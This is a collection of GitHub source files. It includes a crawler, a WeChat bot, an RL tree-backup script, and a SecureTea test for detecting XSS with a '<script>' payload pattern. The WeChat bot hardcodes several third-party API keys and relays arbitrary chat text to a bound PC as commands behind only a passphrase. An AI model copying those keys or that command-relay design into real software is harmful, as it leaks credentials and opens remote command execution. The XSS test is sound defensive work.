np.asarray(range(nfev))\n\t\t\tys = np.zeros(nfev)\n\t\t\tfor i in range(nfev):\n\t\t\t\tys[i] = fvals[i][0]\n\t\t\tplt.plot(xs, ys, label=algo)\n\n\t\tplt.legend(loc='upper right')\n\t\tplt.savefig('plots/' + nprob + '_performance.png')\n\t\tplt.close()\n","repo_name":"tlhallock/line-search-dfo","sub_path":"python/test/perf_plots/read_perf_plot_data.py","file_name":"read_perf_plot_data.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26526499869","text":"import logging\nimport time\nfrom collections import namedtuple\nfrom urllib.robotparser import RobotFileParser\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom contexttimer import Timer\nfrom dateutil import parser as date_parser\nfrom lazy_property import LazyProperty as lazy_property\n\nfrom articlix.crawler import USER_AGENT\nfrom articlix.crawler.article import Article\nfrom articlix.crawler.exception import FetchError\nfrom articlix.crawler.url import Url\n\nlogger = logging.getLogger(__name__)\n\n\nclass Page:\n    def __init__(self, url, headers, text):\n        self.url = url\n        self.head = headers\n        self.text = text\n\n    @lazy_property\n    def date(self):\n        date = self.head.get('Date', None)\n        if date is not None:\n            date = date_parser.parse(date)\n        return date\n\n    @lazy_property\n    def last_modified(self):\n        last_modified = self.head.get('Last-Modified', None)\n        if last_modified is not None:\n            last_modified = date_parser.parse(last_modified)\n        return last_modified\n\n    @lazy_property\n    def allow_cache(self):\n        return not self._have_perm('NOCACHE')\n\n    @lazy_property\n    def allow_follow(self):\n        return not self._have_perm('NOFOLLOW')\n\n    def links_gen(self):\n        if not self.allow_follow:\n            return\n\n        for link_node in self.soup.find_all('a'):\n            url_str = link_node.get('href')\n            if url_str is None: continue\n            url = Url(url_str)\n            url = url if url.is_absolute else self.url + url\n            if url.is_valid: yield url\n\n    @lazy_property\n    def soup(self):\n        return BeautifulSoup(self.text, 'html.parser')\n\n    def read(self):\n        return Article(self)\n\n    def _have_perm(self, perm):\n        for tag in self.soup.find_all('ROBOTS', 'meta'):\n            if perm in tag['content'].split(', '):\n                return True\n        return False\n\n\nResponse = namedtuple('Response', 'headers text elapsed ended')\n\n\ndef fetch_raw(url, method='GET', strict=True, timeout=3):\n    try:\n        with Timer() as t:\n            r = requests.request(method, str(url),\n                                 headers={'User-Agent': USER_AGENT},\n                                 timeout=timeout)\n            r.raise_for_status()\n        return Response(r.headers, r.text, t.elapsed, t.end)\n    except Exception as e:\n        if strict:\n            raise FetchError(\"Failed to get data\") from e\n    return None\n\n\nclass Fetcher:\n    def __init__(self, delay=None, use_adaptive=True,\n                 adaptive_scale=5, upper_bound=3):\n        self.delay = delay\n        self.use_adaptive = use_adaptive\n        self.adaptive_scale = adaptive_scale\n        self.upper_bound = upper_bound\n\n        self._t = None\n        self._last_fetched = None\n\n    def __call__(self, url):\n        self._cool_down()\n        headers, text, self._t, self._last_fetched = fetch_raw(url)\n        logging.info(\"Last fetched time is `%s`.\", self._last_fetched)\n        return Page(url, headers, text)\n\n    def _cool_down(self):\n        if self._last_fetched is None:\n            return\n\n        def cutb(t):\n            return max(0, min(t, self.upper_bound))\n\n        time_passed = time.time() - self._last_fetched\n\n        if self.delay is not None:\n            time.sleep(cutb(self.delay - time_passed))\n\n        if self.delay is None and self.use_adaptive:\n            time.sleep(cutb(self.adaptive_scale * self._t - time_passed))\n\n\nclass Site:\n    DEFAULT_ROBOTS = 'User-Agent: *\\nAllow: /\\n'\n\n    def __init__(self, url):\n        self.url = url\n\n    def allow_crawl(self, url):\n        return self._robots.can_fetch(USER_AGENT, str(url))\n\n    def fetch(self, url):\n        return self._fetcher(url)\n\n    @lazy_property\n    def _robots(self):\n        robots = RobotFileParser()\n        r = fetch_raw(self.url.site + 'robots.txt', strict=False)\n        if r is None:\n            robots.parse(self.DEFAULT_ROBOTS.splitlines())\n        else:\n            robots.parse(r.text.splitlines())\n        return robots\n\n    @lazy_property\n    def _fetcher(self):\n        crawl_delay = self._crawl_delay\n        if crawl_delay is None:\n            request_rate = self._request_rate\n            if request_rate is not None:\n                crawl_delay = request_rate[1] / request_rate[0]\n        return Fetcher(crawl_delay)\n\n    @lazy_property\n    def _crawl_delay(self):\n        try:\n            return self._robots.crawl_delay(USER_AGENT)\n        except:\n            return None\n\n    @lazy_property\n    def _request_rate(self):\n        try:\n            return self._robots.request_rate(USER_AGENT)\n        except:\n            return None\n","repo_name":"stasbel/articlix","sub_path":"articlix/crawler/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":4656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"70352050352","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: dj\n@contact: dj@itmojun.com\n@software: PyCharm\n@file: main.py\n@time: 2018/12/5 20:32\n\"\"\"\n\nimport time\nimport urllib, json, random\nfrom flask import Flask, request, abort\nfrom werkzeug.contrib.fixers import ProxyFix\nimport redis\nfrom wechatpy.utils import check_signature\nfrom wechatpy.exceptions import InvalidSignatureException\nfrom wechatpy import parse_message, create_reply\n\n\napp = Flask(__name__)\napp.wsgi_app = ProxyFix(app.wsgi_app)\n\npool = redis.ConnectionPool(host='localhost', port=6379, decode_responses=True)\n\n\ndef get_robot_reply(input_text):\n    apiKeys = ('cc8c863cfa2b42ecb1e6ae9d4f2c5f36', '512a756fbb5b45b4902e53e09a89e86d', '263aa1a1b0a6470d84ad28415e7bee47', '2d7072e72426447585a3bfc5f72fdc38', 'f7954cb3d7b14134962d0a918185339a') \n\n    data = {\n        \"reqType\":0,\n        \"perception\": {\n            \"inputText\": {\n                \"text\": input_text\n            },\n        },\n        \"userInfo\": {\n            \"apiKey\": random.choice(apiKeys),\n            \"userId\": \"339745\"\n        }\n    }\n\n    data = json.dumps(data, ensure_ascii=False).encode(\"utf-8\")\n    url = urllib.request.Request(\"http://openapi.tuling123.com/openapi/api/v2\", data=data, method=\"POST\")\n    res = urllib.request.urlopen(url).read()\n    return json.loads(res.decode(\"utf-8\"))[\"results\"][0][\"values\"][\"text\"]\n\n\n@app.route('/wx', methods=['GET', 'POST'])\ndef weixin_handle():\n    token = 'itmojun'  # 注意此处要与微信公众平台上填写的保持一致\n    timestamp = request.args.get('timestamp', '')  \n    nonce = request.args.get('nonce', '')  \n    echo_str = request.args.get('echostr', '')  \n    signature = request.args.get('signature', '')  \n\n    try:  \n        check_signature(token, signature, timestamp, nonce)  \n    except InvalidSignatureException:\n        # 处理异常情况或忽略\n        abort(403)  # 后续代码不会被执行\n\n    if request.method == 'GET':\n        # 微信公众号后台设置界面提交服务器URL验证\n        return echo_str  \n        # return reply, 200, {'Content-Type': 'text/plain; charset=utf-8'}\n    else:\n        # 微信官方服务器通过POST方式转发消息给我们自己的服务器\n        msg = parse_message(request.data)\n\n        r = redis.Redis(connection_pool=pool)\n        redis_key = msg.source\n\n        if msg.type == 'event':  # 事件消息\n            if msg.event == 'subscribe':  # 关注事件\n                subscribe_time = msg.create_time.strftime(\"%Y-%m-%d %H:%M:%S\")\n                ret = r.hmset(redis_key, {\"state\": 1, \"subscribe_time\": subscribe_time})\n                if ret:\n                    pass  # redis操作成功\n                else:\n                    pass  # redis操作失败\n\n                reply = create_reply('Hello，小伙伴儿，欢迎关注IT魔君！一入IT深似海，从此再也不缺爱，IT魔君与你分享各种骚操作，带你装逼带你飞！', msg);\n            elif msg.event == 'unsubscribe':  # 取消关注事件\n                r.delete(redis_key)\n                reply = create_reply('期待与你再次相遇！', msg)\n            else:\n                # 比如点击菜单事件等\n                reply = create_reply('', msg)  # 回复空消息\n        elif msg.type == 'text' or msg.type == 'voice':  # 文本消息或语音消息\n            cur_msg_time = time.time()\n            last_msg_time = r.hget(redis_key, 'last_msg_time')  # hget方法返回值为str值或者None \n            if not last_msg_time:\n                last_msg_time = 0\n            ret = r.hset(redis_key, \"last_msg_time\", cur_msg_time)\n\n            # 如果两次连续消息的时间间隔超过1小时，那么就直接设置为普通聊天模式\n            if cur_msg_time - float(last_msg_time) > 3600:\n                r.hmset(redis_key, {'state': 1})\n                state = '1'\n            \n            if msg.type == 'voice':\n                content = msg.recognition\n                if content is None:\n                    reply = create_reply('你的普通话不够标准，请再说一次或打字吧！', msg)\n                    return reply.render()\n            else:\n                content = msg.content\n\n            state = r.hget(redis_key, 'state')  # hget方法返回值为str值或者None \n            if not state:\n                r.hmset(redis_key, {'state': 1})\n                state = '1'\n\n            if state == '1':\n                # 普通聊天模式\n                if '急急如律令' in content:\n                    if r.hexists(redis_key, 'pc_id'):\n                        reply = '成功进入远控模式！(已绑定目标电脑ID为“%s”，如需更换绑定，请输入“绑定电脑”)' % r.hget(redis_key, 'pc_id')\n                        ret = r.hset(redis_key, \"state\", 2)\n                    else:\n                        reply = '成功进入远控模式，请输入要绑定的目标电脑ID'\n                        ret = r.hset(redis_key, \"state\", 21)\n                # elif '小魔仙你好' in content:\n                elif '@小魔仙' == content:\n                        reply = '小魔仙驾到，我们开始快乐地尬聊吧~'\n                        ret = r.hset(redis_key, \"state\", 3)\n                else:\n                        # reply = ''  # 回复空消息\n                        reply = '君哥正在苦逼调bug，稍后给你回复！'\n            elif state == '2':\n                # 远控模式\n                if '芝麻关门' in content:\n                    reply = '已退出远控模式，进入与君哥尬聊的快乐模式！'\n                    ret = r.hset(redis_key, \"state\", 1)\n                elif '绑定电脑' in content:\n                    reply = '目标电脑ID是啥？'\n                    ret = r.hset(redis_key, \"state\", 21)\n                else:\n                    pc_id = r.hget(redis_key, 'pc_id')\n                    cmd = content\n                    ret = r.set(pc_id, cmd, ex=3)  # 过期时间为3秒\n                    if ret:\n                        reply = '控制成功！'\n                    else:\n                        reply = '控制失败！'\n            elif state == '21':\n                # 等待用户输入目标电脑ID模式\n                pc_id = content\n                ret = r.hmset(redis_key, {'state': 2, 'pc_id': pc_id})\n                if ret:\n                    reply = '绑定成功！'\n                else:\n                    reply = '绑定失败！'\n            elif state == '3':\n                # 自动聊天模式\n                # if '小魔仙再见' in content:\n                if '@君哥' == content:\n                    reply = '小魔仙睡觉去了，现在君哥陪你尬聊！'\n                    ret = r.hset(redis_key, \"state\", 1)\n                else:\n                    try:\n                        reply = get_robot_reply(content)\n                    except Exception as e:\n                        reply = str(e)\n            else:\n                reply = ''  # 回复空消息\n\n            reply = create_reply(reply, msg)  \n        else:  # 其他类型消息\n            reply = create_reply('很抱歉，我暂时不能处理这种消息！', msg)  \n        \n        return reply.render()  \n\n\nif __name__ == '__main__':\n    app.run(debug=True)\n\n","repo_name":"gocode2016/my_wechat","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"32015673356","text":"\n'''\nCreated on May 6, 2019\n\n@author: mac\n'''\n\nimport os\nimport multiprocessing as mp\nimport time\nimport pandas as pd\nfrom PathManager.StockPathManager import GetMergedFolder_Last\n\n\ndef _ReadAllMergedDailyData(fileName):\n    stockID = fileName[fileName.rfind('/')+1:fileName.find('.')]\n    df = pd.read_excel(fileName, index_col=None, encoding='utf_8_sig')\n    print('Read file:', fileName, 'Done!')\n    return {stockID: df}\n\n\ndef ReadAllMergedDailyData():\n    folder = GetMergedFolder_Last()\n    files = os.listdir(folder)\n    dataFrames = []\n    begin_time = time.time()\n    pool = mp.Pool(mp.cpu_count()*2)\n    for file_ in files:\n        fullpath = os.path.join(folder, file_)\n        if fullpath.find('.xlsx') == -1:\n            continue\n        dataFrames.append(pool.apply_async(\n            _ReadAllMergedDailyData, (fullpath, )))\n    pool.close()\n    pool.join()\n    endTime = time.time()\n    print('ReadAllMergedDailyData cost:%s' % (endTime - begin_time))\n    ret = {}\n    for item in dataFrames:\n        ret.update(item.get())\n    endTime1 = time.time()\n    print('ReadAllMergedDailyData to dict:%s' % (endTime1 - endTime))\n    return ret\n\n\nif __name__ == '__main__':\n    ret = ReadAllMergedDailyData()\n    for stockID in ret:\n        print(stockID, ret[stockID])\n        input()\n","repo_name":"EasyStock/TreaderAnalysis","sub_path":"src/StockMgr/ReadAllMergedDailyData.py","file_name":"ReadAllMergedDailyData.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"36135776892","text":"import wx\nfrom FlowPanel import *\nimport globals\nimport os.path\nimport os\n\nclass Finish(FlowPanel):\n    def __init__(self, parent, stepNumber):\n        self.go = False\n        FlowPanel.__init__(self, parent, stepNumber=stepNumber)\n        self.parent = parent\n        self.parent.finishBtn = wx.Button(self,id=wx.ID_ANY,label=\"Finish\")\n        self.parent.interruptBtn = wx.Button(self,id=wx.ID_ANY,label=\"Interrupt\")\n        self.parent.interruptBtn.Disable()\n\n        actions = wx.BoxSizer(wx.HORIZONTAL)\n\n        # event for moving forward\n        def go(evt):\n            self.finished()\n            # disable the button once pressed\n            self.parent.exit()\n\n\n        self.parent.finishBtn.Bind(wx.EVT_BUTTON, go)\n        actions.Add(self.parent.finishBtn, 1)\n\n        self.parent.interruptBtn.Bind(wx.EVT_BUTTON, go)\n        actions.Add(self.parent.interruptBtn, 1)\n\n        self.sizer.Add(actions, flag=wx.EXPAND|wx.RIGHT|wx.LEFT, border=10)\n\n    def do(self):\n        self.setStatus(STATUS_READY)\n        self.finished()\n        return True\n","repo_name":"ptsefton/bigasc-metadata","sub_path":"blackbox/src/copier/Finish.py","file_name":"Finish.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29533244677","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport seaborn, random\n\nfrom gridWorldEnvironment import GridWorld\n\n# creating gridworld environment\ngw = GridWorld(gamma = .9)\n\ndef state_action_value(env):\n    q = dict()\n    for state, action, next_state, reward in env.transitions:\n        q[(state, action)] = np.random.normal()\n    return q\n\ndef e_greedy(env, e, q, state):\n    actions = env.actions\n    action_values = []\n    prob = []\n    for action in actions:\n        action_values.append(q[(state, action)])\n    for i in range(len(action_values)):\n        if i == np.argmax(action_values):\n            prob.append(1 - e + e/len(action_values))\n        else:\n            prob.append(e/len(action_values))\n    return actions, prob\n\ndef generate_e_greedy_policy(env, e, Q):\n    pi = dict()\n    for state in env.states:\n        pi[state] = e_greedy(env, e, Q, state)\n    return pi\n\ndef generate_random_policy(env):\n    pi = dict()\n    for state in env.states:\n        actions = []\n        prob = []\n        for action in env.actions:\n            actions.append(action)\n            prob.append(0.25)\n        pi[state] = (actions, prob)\n    return pi\n\n# function for tree backup algorithm\ndef avg_over_actions(pi, Q, state):\n    actions, probs = pi[state]\n    q_values = np.zeros(4)\n    for s, a in Q.keys():\n        if s == state:\n            q_values[actions.index(a)] = Q[s,a]\n    return np.dot(q_values, probs)\n\ndef n_step_tree_backup(env, epsilon, alpha, n, num_iter, learn_pi = True):\n    Q = state_action_value(env)\n    Q_, pi_, delta = dict(), dict(), dict()  \n    pi = generate_e_greedy_policy(env, epsilon, Q) \n\n    for _ in range(num_iter):\n        current_state = np.random.choice(env.states)\n        action = np.random.choice(b[current_state][0], p = b[current_state][1])\n        state_trace, action_trace, reward_trace  = [current_state], [action], [0]\n        Q_[0] = Q[current_state, action]\n        t, T = 0, 10000\n        while True:\n            if t < T:    \n                next_state, reward = env.state_transition(current_state, action)\n                state_trace.append(next_state)\n                reward_trace.append(reward)\n                if next_state == 0:\n                    T = t + 1\n                    delta[t] = reward - Q_[t]\n                else:  \n                    delta[t] = reward + env.gamma * avg_over_actions(pi, Q, next_state) - Q_[t]\n                    action = np.random.choice(pi[next_state][0], p = pi[next_state][1])\n                    action_trace.append(action)\n                    Q_[t+1] = Q[next_state, action]\n                    pi_[t+1] = pi[next_state][1][pi[next_state][0].index(action)]\n                    \n            tau = t - n + 1\n            if tau >= 0:\n                Z = 1\n                G = Q_[tau]\n                for i in range(tau, min([tau + n -1, T-1])):\n                    G += Z * delta[i]\n                    Z *= env.gamma * pi_[i+1]\n                Q[state_trace[tau], action_trace[tau]] += alpha * (G - Q[state_trace[tau], action_trace[tau]])\n                if learn_pi:\n                    pi[state_trace[tau]] = e_greedy(env, epsilon, Q, state_trace[tau])\n            current_state = next_state    \n#             print(state_trace, action_trace, reward_trace)\n            \n            if tau == (T-1):\n                break\n            t += 1\n            \n    return pi, Q\n\npi, Q = n_step_tree_backup(gw, 0.2, 0.5, 1, 10000)\n\n### RED = TERMINAL (0)\n### GREEN = LEFT\n### BLUE = UP\n### PURPLE = RIGHT\n### ORANGE = DOWN\n\nshow_policy(pi, gw)\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/4-n-step-off-policy-learning-wo-importance-sampling.py","file_name":"4-n-step-off-policy-learning-wo-importance-sampling.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29943055327","text":"import os\nfrom pathlib import Path\n\nfeatureName = input(\"Please enter Usecase\\n\")\next = 'ts'\npathDomain = './src/domain/usecases/{0}'.format(\n    featureName[0].lower()+featureName[1:])\npathRepository = './src/data/repository/{0}'.format(\n    featureName[0].lower()+featureName[1:])\npathDataSource = './src/data/dataSource/{0}'.format(\n    featureName[0].lower()+featureName[1:])\n\nif not os.path.exists(pathDomain):   # create folders if not exists\n    Path(pathDomain).mkdir(parents=True, exist_ok=True)\n\nif not os.path.exists(pathRepository):   # create folders if not exists\n    Path(pathRepository).mkdir(parents=True, exist_ok=True)\n\nif not os.path.exists(pathDataSource):   # create folders if not exists\n    Path(pathDataSource).mkdir(parents=True, exist_ok=True)\n\n\nuseCase = '{0}Usecase'.format(featureName)\nuseCaseImpl = '{0}UsecaseImpl'.format(featureName)\n\n\nrepository = '{0}Repository'.format(featureName)\nrepositoryImpl = '{0}RepositoryImpl'.format(featureName)\n\n\ndataSource = '{0}DataSource'.format(featureName)\nlocalDataSource = '{0}LocalDataSource'.format(featureName)\nremoteDataSource = '{0}RemoteDataSource'.format(featureName)\n\n\nf_useCase = os.path.join(pathDomain, '{0}.{1}'.format(useCase, ext))\nf_useCaseImpl = os.path.join(pathDomain, '{0}.{1}'.format(useCaseImpl, ext))\n\n\nf_dataSource = os.path.join(pathDataSource, '{0}.{1}'.format(dataSource, ext))\nf_localDataSource = os.path.join(\n    pathDataSource, '{0}.{1}'.format(localDataSource, ext))\nf_remoteDataSource = os.path.join(\n    pathDataSource, '{0}.{1}'.format(remoteDataSource, ext))\n\n\nf_repository = os.path.join(pathRepository, '{0}.{1}'.format(repository, ext))\nf_repositoryImpl = os.path.join(\n    pathRepository, '{0}.{1}'.format(repositoryImpl, ext))\n\n\ncontentUsecase = (\"export interface {0} {{}} \" +\n                  \"\\nexport class {1} implements {0} {{\" +\n                  \"\\nprivate repository: {2}\" +\n                  \"\\nconstructor(_repository: {2}) {{\" +\n                  \"\\n  this.repository = _repository\" +\n                  \"\\n}}\" +\n                  \"\\n}} \").format(\n    useCase, useCaseImpl, repository)\n\n\ncontentRepository = (\"export interface {0} {{}} \" +\n                     \"\\nexport class {1} implements {0} {{\" +\n                     \"\\n    private localDataSource: {2}\" +\n                     \"\\n    private remoteDataSource: {2}\" +\n\n                     \"\\nconstructor(_localDataSource: {2},_remoteDataSource:{2}) {{\" +\n                     \"\\n    this.localDataSource = _localDataSource\" +\n                     \"\\n    this.remoteDataSource = _remoteDataSource\" +\n\n                     \"\\n}}}}\").format(\n    repository, repositoryImpl, dataSource)\n\n\ncontentDataSource = \"export interface {0} {{}}\".format(\n    dataSource)\n\ncontentLocalDataSource = \"export class {0} implements {1} {{}}\".format(\n    localDataSource, dataSource)\n\n\ncontentRemoteDataSource = \"export class {0} implements {1} {{}}\".format(\n    remoteDataSource, dataSource)\n\n\nfileUseCase = open(f_useCase, \"x\")\nfileUseCase.write(contentUsecase)\nfileUseCase.close()\n\n\nfileRepository = open(f_repository, \"x\")\nfileRepository.write(contentRepository)\nfileRepository.close()\n\n\nfileDataSource = open(f_dataSource, \"x\")\nfileDataSource.write(contentDataSource)\nfileDataSource.close()\n\n\nfileLocalDataSource = open(f_localDataSource, \"x\")\nfileLocalDataSource.write(contentLocalDataSource)\nfileLocalDataSource.close()\n\n\nfileRemoteDataSource = open(f_remoteDataSource, \"x\")\nfileRemoteDataSource.write(contentRemoteDataSource)\nfileRemoteDataSource.close()\n","repo_name":"tqdinh/CleanArchitectureReactNative","sub_path":"Codebase/GenerateCleanComponent.py","file_name":"GenerateCleanComponent.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"42972629932","text":"import cv2\nimport os\n\ndef save_frame_camera_key(device_num, dir_path, rfid, ext='jpg', delay=1, window_name='frame'):\n    WIDTH = 1920\n    HEIGHT = 1080\n    FPS = 30\n    cap = cv2.VideoCapture(device_num)\n    cap.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'))\n    # cap.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc('Y','U','Y','V'))\n    cap.set(cv2.CAP_PROP_FRAME_WIDTH, WIDTH)\n    cap.set(cv2.CAP_PROP_FRAME_HEIGHT, HEIGHT)\n    cap.set(cv2.CAP_PROP_FPS, FPS)\n\n    if not cap.isOpened():\n        return\n\n    os.makedirs(dir_path, exist_ok=True)\n    base_path = os.path.join(dir_path, rfid)\n\n    while True:\n        ret, frame = cap.read()\n        cv2.imshow(window_name, frame)\n        key = cv2.waitKey(delay) & 0xFF\n        if key == ord('c'):\n            cv2.imwrite('{}.{}'.format(base_path, ext), frame)\n            return '{}.{}'.format(base_path, ext)\n        elif key == ord('q'):\n            break\n\n    cv2.destroyWindow(window_name)\n\n\nret = save_frame_camera_key(1, 'data/temp', 'aaaaa')\nprint(ret)","repo_name":"tabineko/thomson-die-management","sub_path":"test/test_cam.py","file_name":"test_cam.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"35417248456","text":"from machine import SD\nimport os\nimport time\n\n# VERSION 1\n# Writing a file in /flash folder\nfile_path = '/flash/log'\n\ntry:\n    os.listdir('/flash/log')\n    print('/flash/log file already exists.')\nexcept OSError:\n    print('/flash/log file does not exist. Creating it ...')\n    os.mkdir('/flash/log')\n\nname = '/my_first_file.log'\n\n# Writing\nwith open(file_path + name, 'w') as f:\n    f.write('Testing write operations in a file.')\n\n# Reading\nwith open(file_path + name, 'r') as f:\n    print(f.readall())\n","repo_name":"marcozennaro/uganda-2020","sub_path":"Code/flash/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"}
{"seq_id":"21283851263","text":"import numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten, BatchNormalization, Activation\nfrom keras.layers.convolutional import Conv2D, MaxPooling2D\nfrom keras.constraints import maxnorm\n\n\ndef Init_Train_Test(outputFile, activation, x_train, y_train, x_test, y_test, seed, class_num, epochs):\n    # model\n    model = Sequential()\n\n    model.add(Conv2D(32, (3, 3), input_shape=x_train.shape[1:], activation='relu', padding='same'))\n    model.add(Dropout(0.2))\n    model.add(BatchNormalization())\n\n    model.add(Conv2D(64, (3, 3), padding='same', activation='relu'))\n    model.add(MaxPooling2D(pool_size=(2, 2)))\n    model.add(Dropout(0.2))\n    model.add(BatchNormalization())\n\n    model.add(Conv2D(64, (3, 3), padding='same', activation='relu'))\n    model.add(MaxPooling2D(pool_size=(2, 2)))\n    model.add(Dropout(0.2))\n    model.add(BatchNormalization())\n\n    model.add(Conv2D(128, (3, 3), padding='same', activation='relu'))\n    model.add(Dropout(0.2))\n    model.add(BatchNormalization())\n\n    model.add(Conv2D(64, (3, 3), padding='same', activation='relu'))\n    model.add(MaxPooling2D(pool_size=(2, 2)))\n    model.add(Dropout(0.2))\n    model.add(BatchNormalization())\n\n    model.add(Conv2D(128, (3, 3), padding='same', activation='relu'))\n    model.add(Dropout(0.2))\n    model.add(BatchNormalization())\n\n    model.add(Flatten())\n    model.add(Dropout(0.2))\n\n    model.add(Dense(256, kernel_constraint=maxnorm(3)))\n    model.add(Activation('relu'))\n    model.add(Dropout(0.2))\n    model.add(BatchNormalization())\n\n    model.add(Dense(128, kernel_constraint=maxnorm(3)))\n    model.add(Activation('relu'))\n    model.add(Dropout(0.2))\n    model.add(BatchNormalization())\n\n    model.add(Dense(class_num))\n    model.add(Activation(activation))\n\n    # train\n    optimizer = 'adam'\n    model.compile(loss='categorical_crossentropy', optimizer=optimizer, metrics=['accuracy'])\n    np.random.seed(seed)\n    model.fit(x_train, y_train, validation_data=(x_test, y_test), epochs=epochs, batch_size=64)\n\n    # test\n    scores = model.evaluate(x_test, y_test, verbose=0)\n    print(\"Accuracy: %.2f%%\" % (scores[1] * 100))\n\n    # save model\n    model.save(outputFile)\n\n\n","repo_name":"ihawn/NeuralNet","sub_path":"HumanAnalysis/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6793926637","text":"# -*- coding: utf-8 -*-\nimport unittest\nfrom securetea.lib.log_monitor.server_log.detect.attacks.xss import CrossSite\nfrom securetea.lib.log_monitor.server_log.server_logger import ServerLogger\nfrom securetea.lib.osint.osint import OSINT\n\ntry:\n    # if python 3.x.x\n    from unittest.mock import patch\nexcept ImportError:  # python 2.x.x\n    from mock import patch\n\n\nclass TestCrossSite(unittest.TestCase):\n    \"\"\"\n    Test class for SecureTea Server Log CrossSite Attack Detection.\n    \"\"\"\n\n    def setUp(self):\n        \"\"\"\n        Setup class for TestCrossSite.\n        \"\"\"\n        # Initialize CrossSite object\n        self.xss_obj = CrossSite(test=True)\n\n        # Mock parsed log file data\n        self.data = {\n            \"1.1.1.1\":{\n                    \"count\": 1,\n                    \"get\": [\"random_get\"],\n                    \"unique_get\": [\"random_get\"],\n                    \"ua\": [\"random_ua\"],\n                    \"ep_time\": [1560492302],\n                    \"status_code\": [200]\n            }\n        }\n\n    @patch(\"securetea.lib.log_monitor.server_log.detect.attacks.xss.write_mal_ip\")\n    @patch.object(OSINT, \"perform_osint_scan\")\n    @patch(\"securetea.lib.log_monitor.server_log.detect.attacks.xss.utils\")\n    @patch.object(ServerLogger, \"log\")\n    @patch.object(CrossSite, \"regex_check\")\n    @patch.object(CrossSite, \"payload_match\")\n    def test_detect_xss(self, mck_pm, mck_rc, mock_log, mck_utils, mck_osint, mck_wmip):\n        \"\"\"\n        Test detect_xss.\n        \"\"\"\n        mck_wmip.return_value = True\n        mck_osint.return_value = True\n        mck_utils.write_ip.return_value = True\n        mck_utils.epoch_to_date.return_value = \"random_date\"\n\n\n        # Case 1: No XSS attack\n        mck_pm.return_value = False\n        mck_rc.return_value = False\n        self.assertFalse(mock_log.called)\n\n        # Case 2: XSS attack\n        mck_pm.return_value = True\n        mck_rc.return_value = True\n        self.xss_obj.detect_xss(self.data)\n        mock_log.assert_called_with('Possible Cross Site Scripting (XSS) detected from: 1.1.1.1 on: random_date',\n                                    logtype='warning')\n        mck_wmip.assert_called_with(\"1.1.1.1\")\n\n    def test_regex_check(self):\n        \"\"\"\n        Test regex_check.\n        \"\"\"\n        # Case 1: Regex matches\n        self.xss_obj.regex = [r\"<script>\"]\n        res = self.xss_obj.regex_check([\"/random/req=<script>\"])\n        self.assertTrue(res)\n\n        # Case 2: No regex match\n        res = self.xss_obj.regex_check([\"/random/req/\"])\n        self.assertFalse(res)\n\n    def test_payload_match(self):\n        \"\"\"\n        Test payload_match.\n        \"\"\"\n        # Case 1: Payload matches\n        self.xss_obj.payloads = [\"<script>\"]\n        res = self.xss_obj.payload_match([\"/random/req=<script>\"])\n        self.assertTrue(res)\n\n        # Case 2: Payload does not match\n        res = self.xss_obj.payload_match([\"/random/req\"])\n        self.assertFalse(res)\n\n\n","repo_name":"OWASP/SecureTea-Project","sub_path":"test/test_xss.py","file_name":"test_xss.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","stars":263,"dataset":"github-code","pt":"35"}
{"seq_id":"293912856","text":"\"\"\" TensorMONK :: architectures \"\"\"\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom ..layers import Convolution, ResidualComplex, PrimaryCapsule, \\\n    RoutingCapsule\n\n\nclass CapsuleNet(nn.Module):\n    r\"\"\"Dynamic routing between capsules - https://arxiv.org/pdf/1710.09829.pdf\n    for MNIST (tensor_size = (1, 1, 28, 28)) -- works for FashionMNIST\n\n    Args:\n        tensor_size: shape of tensor in BCHW\n            (None/any integer >0, channels, height, width)\n        n_labels: 10, MNIST/FashionMNIST\n        primary_n_capsules: number of capsules in primary capsule layer\n        primary_capsule_length: length of each capsule in primary capsule layer\n        routing_capsule_length: number of capsules in routing capsule\n        routing_iterations: length of each capsule in routing capsule\n        replicate_paper: replicates https://arxiv.org/pdf/1710.09829.pdf\n        activation: None/relu/relu6/lklu/elu/prelu/tanh/sigm/maxo/rmxo/swish\n        dropout: 0. - 1., default = 0.1 with dropblock=True\n        normalization: None/batch/group/instance/layer/pixelwise\n        pre_nm: if True, normalization -> activation -> convolution else\n            convolution -> normalization -> activation\n\n    Return:\n        embedding (a torch.Tensor), rec_tensor (a torch.Tensor),\n            rec_loss (a torch.Tensor)\n    \"\"\"\n    def __init__(self,\n                 tensor_size: tuple = (6, 1, 28, 